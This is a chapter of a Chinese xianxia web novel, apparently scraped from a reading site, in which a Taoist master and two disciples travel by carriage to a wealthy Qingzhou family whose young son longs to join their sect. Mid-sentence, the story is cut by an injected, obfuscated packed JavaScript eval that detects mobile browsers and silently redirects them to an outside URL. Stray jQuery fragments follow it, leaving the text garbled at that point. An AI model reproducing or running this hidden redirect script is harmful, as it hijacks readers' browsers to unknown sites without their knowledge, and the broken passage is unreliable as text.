默认冷灰
24号文字
方正启体

16. 青州

作者:鱼邈妙本书字数:K更新时间:
    正值三月中,一位青州的信使到了玄极观。


    信是青州李家的老爷亲自写的,措辞客气,笔意恳切。


    信中说起去岁一别倏忽经年,甚念故人,末了才提了一句——家中幼子顽劣,唯慕玄极观之名,日夜念叨,闹得阖家不宁。若蒙不弃,望仙师拨冗一行,了此稚儿痴愿。


    左婴读完信,搁在桌上,指腹在信纸边沿轻轻摩挲了一下,倒也没说什么,只让若渝回了一封信,说三日后动身。


    持盈得知这个消息时,正在后院的井边洗衣裳。黎素真走过来告诉她准备行装,三日后要随师父下山去一趟青州。


    她将拧干的衣裳抖开,晾在绳上,问了句:“去做什么。”


    “青州一位李老爷请师父去做一场祈福法事。他每年给观里捐许多香火,是多年的老交情了。”


    黎素真顿了一下,“他还有个幼子,据说闹着要入玄极观门下,李老爷拗不过他,才写了那封信来。”


    持盈点了点头,将木盆里的水倒了,没有再多问。


    黎素真站在原地,看了她一眼。她晾衣裳的动作很利落,抖开、搭绳、抚平,一气呵成,做完便端起木盆往厨房方向走了。


    他没有叫住她,也转身走了。走了两步,又回头看了一眼她挂在绳上的那件衣裳,袖口处有一块洗得发白的痕迹。


    他看了一眼,便收回目光走了。


    而在青州李宅,这封信的起因,却是另一番光景。


    半月前的一个午后。


    李老爷正在书房里看账本,门外忽然传来一阵急促的脚步声,紧接着门“砰”的一声被推开了,连敲门都没有。


    一个小身影从门外蹿了进来,穿着锦袍,头发束得齐整,但衣摆上沾了几片叶,袖口也蹭了一块灰。


    他一进门便跑到书案前,双手往案上一撑,仰着头,两眼亮晶晶的:“父亲,你帮我写封信。”


    李老爷放下账本,看了他一眼:“又闯什么祸了。”


    “没有闯祸。”李慕仙理直气壮,“我要拜师。”


    “拜什么师?”


    “玄极观。”他说这三个字的时候,下巴微微扬起来,带着一种“我都已经决定好了,你照办便是”的神气。


    李老爷看了他一会儿:“怎么忽然想起这个来了。”


    “不是忽然。”李慕仙道,“我想了一年了。”


    “那你一年前怎么不说。”


    “一年前说了,你肯定觉得我是小孩子闹着玩,不会当真。”他振振有词,“我现在说,你就知道我认真的了。”


    李老爷被他这套逻辑说得噎了一下,沉默了片刻:“为什么非要去玄极观。”


    李慕仙眨了眨眼睛,想了想,理所当然地答道:“因为最好的。”


    “什么最好?”


    “什么都最好。功法最好,名声最好,人——也最好。”他说到“人”字的时候顿了一下,语气微微变了一些,但马上又恢复了那副理所应当的模样,“总之我就要去玄极观。”


    李老爷靠在椅背上,看着自己这个年仅十岁的幼子。


    他知道这孩子什么脾气,从小便这样,想要什么东西便一门心思地扑上去,九头牛都拉不回来。


    他若是不应,这孩子能天天跑来磨他,磨到他答应为止。


    李老爷沉默了片刻,最终只是摇了摇头,无奈道:“罢了罢了,为父替你写。”


    李慕仙得了这句话,嘴角一弯,但马上又收住了,拱了拱手,一本正经地说了一句“多谢父亲”,转身便往外跑。


    跑到门口时被门槛绊了一下,踉跄了一步,扶住门框站稳了,头也不回地跑了出去。


    李老爷坐在书案后面,望着那个一溜烟消失的背影,铺开一张信笺,提笔蘸墨。


    他写到“幼子慕仙”四个字时顿了一下,想了想措辞,最终还是落笔写了“顽劣”二字,叹了口气,继续写下去。


    出发那日天色未明,山间还笼着一层薄薄的雾气。


    持盈换了一身干净的道袍,头发用一根素木簪子绾成道髻,此外再无一件饰物。


    她走到山门口时,黎素真已经到了。


    他今日穿了一件淡蓝色的道袍,腰间系着一条深色的丝绦,背着一个小小的行囊,站在晨雾中。


    他听见脚步声,转头看见持盈从雾中走来,目光在她身上停了一息。


    她的衣领有一处没有理好,微微翻起了一角。他看见了,张了张嘴,又闭上了,最终没有说什么,只是将目光移开了。


    不多时,左婴也到了。


    他换了一身苍青色的道袍,长发没有束冠,只用一根深青色的发带在脑后松松挽了一下,余下的发丝垂落在肩背上,被晨风微微拂动。


    他站在山门口的晨雾中,衣袂和发丝都带着一种未干透的笔意,仿佛随时会被风吹散。


    山下已经备好了一辆马车。车是青州李家派来的,车身宽敞,帷幔是深青色的厚布。


    车夫是个沉默的中年汉子,见三人下山,便跳下辕座恭恭敬敬地行了一礼。


    左婴点了点头,踩着脚凳上了车。


    黎素真跟在后面,上车前他回头看了一眼,持盈正低头拂去袖口沾着的晨露,没有注意到他在看她。他收回目光,弯腰钻进了车厢。


    持盈正要上车时,脚下被车辕绊了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519943|202867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一下,身子微微一晃。


    黎素真的手已经伸了出去,但他伸到一半,又停住了。


    持盈自己扶住了车壁,站稳了,钻进了车厢。


    他便将那只伸到一半的手收回来。


    马车沿着官道一路向东。


    车厢内比想象中宽敞,三人各占一侧,中间还置了一张小几,几上搁着一壶茶和几只茶杯。


    左婴上车后便靠在车壁上闭目养神,持盈坐在靠窗的位置,偶尔掀开帘子往外看一眼。


    田野、村庄、行人在窗外一一掠过,她看了一会儿,便将帘子放下了。


    黎素真坐在她对面,手里拿着一卷书在读。


    但他没有在读。


    他翻了一页,目光从书页上抬起来,落在对面那个靠窗的位置上。


    持盈正侧着头望着窗外,晨光从帘子的缝隙中漏进来,在她的侧脸上落了一道柔和的轮廓。


    她的睫毛在光中微微泛着一层淡金色,随着马车颠簸轻轻颤动,像一只停在花瓣上的蝴蝶在风中微微收拢翅膀。


    黎素真看了她片刻,低下头,又翻了一页。他翻页的动作很轻,怕发出声响惊动了她似的。


    但他翻完那一页后,过了好一会儿,目光都没有真正落在书页上。


    他想起那时她刚到玄极观不久,蹲在井边试图打水,木桶放下去好几次都只打上来半桶。


    他站在远处看了一会儿,走过去教她怎么抖绳才能让桶口朝下。


    她学了两遍便会了,抬起头来看着他,说了一声“多谢师兄”,语气平平的,不疏远也不亲近。


    他当时想,这个师妹话真少,似潭水那般沉静。


    他从来没有遇到过这样的人。


    他放下书卷,端起几上的茶壶倒了一杯茶,又倒了另一杯,将其中一杯往持盈的方向推了推:“喝杯茶罢,路还长。”


    持盈转过头来,看了他一眼,又看了看那杯茶,伸手端起来喝了一口:“多谢师兄。”


    “嗯。”他应了一声,端起自己那杯也喝了一口,目光落在窗外飞速后退的田野上,没有看她。


    马车走了一整日,在傍晚时分抵达了青州城。穿过几条街巷,在一座大宅门前停了下来。


    持盈掀开帘子,看见一座气派的门楼,门楣上悬着一块匾额,上书“李宅”两个大字。


    车夫跳下辕座,上前叩了叩门环。门内很快传来脚步声,大门被从里面打开了。


    一个管家模样的中年人探出头来,看见车夫又看了一眼马车,连忙将大门完全敞开,转身快步往里跑去,一边跑一边喊道。


    “老爷——玄极观的仙师到了!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)